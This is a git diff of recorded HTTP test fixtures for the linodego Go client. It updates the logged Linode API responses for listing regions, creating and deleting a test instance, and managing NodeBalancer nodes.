"capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -218,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-1t8cik2hw085","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-zdv082fn83u8","root_pass":"0ymO65X$5U10=bPW1i''1C1f1;E6dd3qAX7+rkzT+zkl4{$J!QZU-.|w3W{;1uZ^@","image":"linode/debian9","firewall_id":501400,"booted":false}' form: {} headers: Accept: @@ -239,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708274, "label": "go-test-ins-1t8cik2hw085", "group": "", "status": + body: '{"id": 59542212, "label": "go-test-ins-zdv082fn83u8", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.131"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.50"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' + "0c685e2546a7fd35121dea21f706c8e55d0539ec", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:23 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -299,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708274/ips + url: https://api.linode.com/v4beta/linode/instances/59542212/ips method: POST response: - body: '{"address": "192.168.159.181", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708274, - "region": "ap-west"}' + body: '{"address": "192.168.142.216", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59542212, + "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,15 +399,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "184" + - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:23 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,16 +424,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.159.181:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' + body: '{"address":"192.168.142.216:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: @@ -356,12 +445,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340/nodes + url: https://api.linode.com/v4beta/nodebalancers/694187/configs/1134761/nodes method: POST response: - body: '{"id": 516206636, "address": "192.168.159.181:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670340, "nodebalancer_id": - 441122}' + body: '{"id": 2047158850, "address": "192.168.142.216:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134761, "nodebalancer_id": + 694187}' headers: Access-Control-Allow-Credentials: - "true" @@ -374,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "182" + - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -395,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -413,12 +509,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340/nodes + url: https://api.linode.com/v4beta/nodebalancers/694187/configs/1134761/nodes method: GET response: - body: '{"data": [{"id": 516206636, "address": "192.168.159.181:8080", "label": + body: '{"data": [{"id": 2047158850, "address": "192.168.142.216:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": - 670340, "nodebalancer_id": 441122}], "page": 1, "pages": 1, "results": 1}' + 1134761, "nodebalancer_id": 694187}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -431,16 +527,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "231" + - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -454,9 +553,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -472,7 +574,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340/nodes/516206636 + url: https://api.linode.com/v4beta/nodebalancers/694187/configs/1134761/nodes/2047158850 method: DELETE response: body: '{}' @@ -488,15 +590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -509,9 +615,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -527,7 +636,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708274 + url: https://api.linode.com/v4beta/linode/instances/59542212 method: DELETE response: body: '{}' @@ -543,15 +652,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -564,9 +677,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePages.yaml b/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePages.yaml index 5ca19179a..4405cb05a 100644 --- a/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePages.yaml +++ b/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePages.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228213, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 